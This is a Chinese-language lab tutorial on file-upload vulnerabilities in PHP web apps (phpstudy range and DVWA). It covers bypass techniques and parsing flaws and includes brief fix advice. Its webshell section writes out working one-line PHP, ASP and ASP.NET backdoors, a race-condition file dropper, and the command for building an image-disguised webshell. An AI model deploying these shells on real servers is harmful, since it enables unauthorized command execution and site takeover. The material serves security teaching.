文件上传(详解)
0X00-引言
欲速则不达,快就是慢,慢就是快
唉,亲爱的小妹妹,请你不要不要哭泣,哦,不要不要悲伤,哦,不要不要哭泣
靶场介绍:
phpstudy + ms08067web安全攻防的靶场
0X01-文件上传简介
文件上传,顾名思义就是上传文件的功能行为,之所以会被发展为危害严重的漏洞,是程序没有对访客提交的数据进行检验或者过滤不严,可以直接提交修改过的数据绕过扩展名的检验。文件上传漏洞是漏洞中最为简单猖獗的利用形式,一般只要能上传获取地址,可执行文件被解析就可以获取系统WebShell。
恶意文件传递给解释器去执行,之后就可以在服务器上执行恶意代码,进行数据库执行、服务器文件管理,服务器命令执行等恶意操作。根据网站使用及可解析的程序脚本不同,可以上传的恶意脚本可以是
PHP、ASP、JSP、ASPX文件。
0X02-为什么存在文件上传及危害
服务端代码未对客户端上传的文件进行严格的验证和过滤,就容易造成上传任意文件的情况。
危害:
非法用户上传恶意脚本控制整个网站甚至控制服务器,这个恶意的脚本文件又称为webshell,webshell具有非常强大的功能,可以查看服务器目录,服务器中的文件,执行系统命令,甚至为所欲为,操纵一切。shell在手,天下我有。
0X03-文件上传绕过的姿势
01-前端JS检测绕过
js检测绕过是在客户端浏览器使用JS对数据包进行检测,并没有发送到服务器
打开靶场测试一番
打开burp-上传PHP文件-此时以弹出禁止上传PHP文件的命令,且burp也没有抓到包
在检查前端页面中-我们发现如果上传的不是jpg文件,那么浏览器就会弹窗报错
绕过思路-更改文件格式为jpg-burp抓包再改php-绕过前端检测
蚁剑连接成功
02-js检测绕过分析
前面分析过前端代码看到在js中对文件后缀名进行限制
看一下后端的代码
可以看到后端php用file_exists
判断文件是否存在,如果不存在就使用move_uploaded_file函数将文件保存在upload
的文件夹下面。由此可知,后端代码对上传的文件没有限制,只要突破前端的限制就可上传webshell。
03-文件后缀绕过
在Apache解析顺序中,是从右往左开始解析文件后缀的,如果文件名不可识别则往左开始判断,知道可以解析,这也是Apache解析漏洞之一。
测试文件后缀绕过,我们需要在phpstudy的Apache中的httpd.conf配置文件中开启
AddType application/x-httpd-php .php .phtml
使其可以解析PHP和phtml文件
更新配置文件之后需要重启phpstudy
上传文件
蚁剑连接
04-文件后缀绕过分析
后端通过pathinfo
获取后缀名,且只添加了一个限制就是后缀名不允许为php,我们知道apache解析从右往左,构造奇特后缀绕过
05-文件类型绕过攻击
01-Content-Type值绕过
后端对数据包中Content-Type的字段值进行校验,通过burp修改Content-Type
的值进行绕过
如果上传jpg文件时Content-Type
的值为image/jpeg
上传php文件Content-Type
的值为application/octet-stream
上传抓包-burp修改字段-蚁剑连接
02-绕过getimagesize()函数(制作图片马)
制作图片马
上传
06-文件类型绕过分析
后端对Content-Type的值进行校验,分析代码可知后端白名单中只有图片的类型
图片马绕过代码分析
PHP函数getimagesize()
可以获取图片的宽和高,如果不是图片,getimagesize()
则获取不到信息,不允许上传
07-文件截断绕过(%00截断)
截断类型:PHP%00截断
截断原理:00代表结束符,会把00后面的所有字符删除
截断条件:PHP版本小于5.3.4,PHP的magic_quotes_gpc为OFF状态
打开靶场-上传文件-生成的文件为自命名加时间戳
burp抓包添加00截断
此时服务器会生成wc.php文件-自命名后面的内容被截断
蚁剑连接
08-文件截断绕过分析
上传文件到服务器,%00会截断后面的内容。在代码中保存路径中有$_REQUEST['jieduan']
,在此处可以利用00截断尝试绕过服务端限制
08-条件竞争绕过
某些网站先允许上传文件,之后再检查上传文件的内容,若存在后门,则删除。
先上传,再删除意味着存在一个时间差。如果在上传的文件内写入可以在同目录下生成的后门文件的代码。在这个时间差内去让它生成一个新的后门文件。
<?php
$file = fopen("shell.php","w");
fputs($file,"<?php phpinfo();?>");
fclose($file);
?>
上传之后访问该文件
访问-该文件-同目录下会生成另一个文件
访问生成的新文件-成功
08-条件竞争绕过分析
靶场中的代码写明让程序睡眠10S,然后执行。
意思是在程序检测到恶意文件之前访问上传的文件去生成一个新的恶意文件,这样就能绕过代码的限制。这里有个思考,是不是需要免杀技术?
09-其他文件上传绕过方式
-
文件头绕过
常见的文件头标志如下: JPEG (jpg),文件头: FFD8FF PNG (png),文件头: 89504E47 GIF (gif),文件头: 47494638 HTML (html),文件头: 68746D6C3E ZIP Archive (zip),文件头: 504B0304 RAR Archive (rar),文件头: 52617221 Adobe Acrobat (pdf),文件头: 255044462D312E MS Word/Excel (xls.or.doc),文件头: D0CF11E0
-
大小写绕过
str_replace大小写敏感
-
双写绕过
0X04-文件上传修复建议
- 通过白名单的方式判断文件后缀是否合法
- 对上传文件进行重命名
0X05-解析漏洞
01-IIS解析漏洞
- 当建立
*.asa
,*.asp
格式的文件夹时,其目录下的任意文件都将被IIS当做asp文件来解析 - 当文件为
*.asp;1.jpg
时,IIS同样会以ASP脚本来执行
02-Apache解析漏洞
- Apache解析文件时,当碰到不认识的扩展名,将会从后往前解析,知道碰到认识的扩展名为止,如果都不认识,则会暴露其源代码。Apache安装目录下"/conf/mime.type"有其可以识别的扩展名列表
03-PHP CGI解析漏洞
- 在PHP的配置文件中有一个关键的选项:
cgifi: x_ pathinfo
。 这个选项在某些版本中默认是开启的,在开启时访问URL,比如: ht://w.xxer.com/x.txphp, x.php 是不存在的文件,所以PHP将会向前递归解析,于是造成了解析漏洞,可以说此漏洞与Nginx关系并不是很大,但由于Nginx与PHP配合很容易造成这种解析漏洞,所以PHPCGI漏洞常常被认为是Nginx解析漏洞。
0X06-常见木马制作
一、小马
一句话木马也称为小马,即整个shell代码量只有一行,一般为系统执行函数
PHP: <?php @eval($_POST['SHELL']);?>
<?php eval($_REQUEST['shell']);?>
<?php system($_REQUEST['shell']);?>
<script language="php">@eval_r($_POST[shell])</script>
ASP: <%eval request("shell")%>
ASP.NET: <%@ Page Language="Jscipt"%><%eval(Request.Item["shell"],"unsafe");%>
二、大马
代码量和功能比小马多,一般会进入二次编码加密,防止被防火墙/入侵系统检测到
三、图片马
一般直接上传木马文件都会被过滤拦截,这时候就需要用到图片马
copy 图片.jpg/b + 木马.php/a 木马.jpg
/b 表示以二进制方式打开
/a 表示以ASCII方式打
注意:要放在同一目录下,在目录里面敲CMD
四、原理
以PHP的一句话木马为例,利用PHP的eval函数,将传入的语句作为PHP语句执行。该木马以POST方式传参,eval语句将参数以PHP语句执行,shell为变量,接收语句,用工具连接的时候称之为密码。
连接工具:菜刀,蚁剑,冰蝎等等。
0X07-DVWA文件上传
一、low
没有任何过滤,直接上传文件
可以上传文件-文件可以被执行-知道文件上传路径-为所欲为
上传木马文件
成功-蚁剑连接
成功连接
二、mediun
上传PHP文件类型的木马会报错
后缀改成png/jpg格式
上传抓包
放包
网站目录下会出现shell.php,上传的是shell.png,在抓到的包里面修改
蚁剑连接,为所欲为
00截断绕过:
木马文件修改为如图模式
上传-在.php处点击空格-在选中空格
20改为00-点击apply change应用
发送
此时网站根目录下会出现shell.php文件
蚁剑连接-为所欲为
与文件包含一起应用:
上传shell.php.png文件
网站根目录会出现shell.php.png图片
蚁剑连接
添加-浏览网站添加cookie(文件包含那一篇有)-连接成功-为所欲为